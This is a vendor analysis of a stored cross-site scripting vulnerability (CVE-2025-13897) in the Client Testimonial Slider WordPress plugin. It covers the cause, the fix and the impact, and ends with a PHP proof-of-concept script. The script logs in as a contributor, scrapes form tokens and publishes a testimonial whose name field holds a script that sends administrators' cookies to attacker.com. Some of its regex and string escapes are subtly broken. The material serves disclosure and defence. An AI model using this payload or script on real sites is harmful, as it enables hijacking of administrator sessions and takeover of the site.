Atomic Edge analysis of CVE-2025-13897 (metadata-based):
The Client Testimonial Slider WordPress plugin contains an authenticated stored cross-site scripting vulnerability in versions up to and including 2.0. This vulnerability affects the ‘aft_testimonial_meta_name’ custom field within the Client Information metabox. Attackers with Contributor-level privileges or higher can inject malicious scripts that execute when administrators view affected pages.
Atomic Edge research identifies the root cause as insufficient input sanitization and output escaping on user-supplied attributes. The plugin likely accepts user input through a custom metabox field without proper validation or sanitization before storing it in the database. When this stored data is rendered on administrative pages, the plugin fails to escape the output properly. These conclusions are inferred from the CWE-79 classification and vulnerability description, as no source code diff is available for confirmation.
Exploitation requires authenticated access with at least Contributor privileges. Attackers would navigate to the testimonial creation or editing interface, then inject JavaScript payloads into the ‘aft_testimonial_meta_name’ field. The payload executes when any administrator views the testimonial in the WordPress backend. Typical payloads include session hijacking scripts, credential stealers, or administrative action performers. The attack vector operates through standard WordPress post editing workflows rather than custom endpoints.
Remediation requires implementing proper input sanitization and output escaping. The plugin should sanitize user input before database storage using functions like sanitize_text_field() or wp_kses(). Additionally, the plugin must escape all output before rendering using esc_html() or esc_attr() depending on context. WordPress provides built-in functions for both security measures that the plugin developer should implement.
Successful exploitation allows attackers to execute arbitrary JavaScript in the context of administrative users. This enables session hijacking, administrative account compromise, and complete site takeover. Attackers can create new administrator accounts, modify plugin settings, or inject malicious content into public-facing pages. The stored nature means the payload persists across multiple sessions and affects all administrators who view the compromised testimonial.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-13897 - Client Testimonial Slider <= 2.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'aft_testimonial_meta_name' Metabox Field
<?php
/**
* Proof of Concept for CVE-2025-13897
* Assumptions based on vulnerability description:
* 1. The plugin uses standard WordPress custom post type/metabox architecture
* 2. The 'aft_testimonial_meta_name' field is accessible via post meta updates
* 3. Contributor-level users can create/edit testimonials
* 4. No nonce verification or capability checks prevent the attack
*/
$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'contributor_user';
$password = 'contributor_password';
// XSS payload that steals administrator cookies
$payload = '"><script>fetch("https://attacker.com/steal?c="+document.cookie)</script>';
// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Step 1: Login to WordPress
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]));
$response = curl_exec($ch);
// Step 2: Create a new testimonial post
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post-new.php?post_type=testimonial');
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);
// Extract nonce and post ID from the form (simplified - real implementation would parse HTML)
// This assumes standard WordPress nonce field naming conventions
$nonce_pattern = '/name="_wpnonce" value="([a-f0-9]+)"/';
preg_match($nonce_pattern, $response, $matches);
$nonce = $matches[1] ?? '';
$post_id_pattern = '/name="post_ID" value="(d+)"/';
preg_match($post_id_pattern, $response, $matches);
$post_id = $matches[1] ?? '0';
if (empty($nonce) || empty($post_id)) {
echo "Failed to extract required form data. The plugin may use different form structures.n";
exit;
}
// Step 3: Submit the testimonial with malicious payload
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'post_ID' => $post_id,
'_wpnonce' => $nonce,
'_wp_http_referer' => '/wp-admin/post-new.php?post_type=testimonial',
'user_ID' => '1',
'action' => 'editpost',
'post_type' => 'testimonial',
'post_title' => 'Legitimate Testimonial Title',
'content' => 'This is a legitimate testimonial content.',
'meta_input[aft_testimonial_meta_name]' => $payload, // Vulnerable field
'publish' => 'Publish'
]));
$response = curl_exec($ch);
if (strpos($response, 'Post published.') !== false) {
echo "Success! XSS payload injected into testimonial ID: $post_idn";
echo "Payload will execute when administrators view this testimonial.n";
} else {
echo "Failed to publish testimonial. The plugin may have different field names.n";
}
curl_close($ch);
?>